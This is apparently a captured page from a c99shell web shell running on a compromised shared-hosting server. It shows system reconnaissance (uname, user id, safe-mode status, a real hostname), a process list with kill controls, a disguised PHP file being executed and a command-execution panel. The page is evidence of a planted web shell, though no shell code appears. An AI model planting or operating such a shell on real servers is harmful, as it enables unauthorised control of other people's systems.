Software: Apache. PHP/7.3.33 uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) Safe-mode: OFF (not secure) /usr/include/rpc/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||
alpastr+ | 18162 | 2.4 | 0.0 | 356292 | 38472 | ? | S 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18164 | 7.0 | 0.0 | 358340 | 40328 | ? | S 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18178 | 2.0 | 0.0 | 358340 | 40312 | ? | S 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18180 | 1.7 | 0.0 | 356292 | 38128 | ? | S 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18181 | 2.0 | 0.0 | 356292 | 38532 | ? | S 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18182 | 2.0 | 0.0 | 356292 | 38448 | ? | S 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18183 | 9.2 | 0.0 | 358340 | 40404 | ? | S 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18184 | 7.5 | 0.0 | 358340 | 40416 | ? | S 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18185 | 5.7 | 0.0 | 358340 | 40376 | ? | D 15:31 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 18389 | 0.0 | 0.0 | 4728 | 1724 ? D 15:31 0:00 whereis apache | KILL | ||||||||||||||||||||||
alpastr+ | 18395 | 0.0 | 0.0 | 49824 | 3684 | ? R 15:31 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0259 ]-- |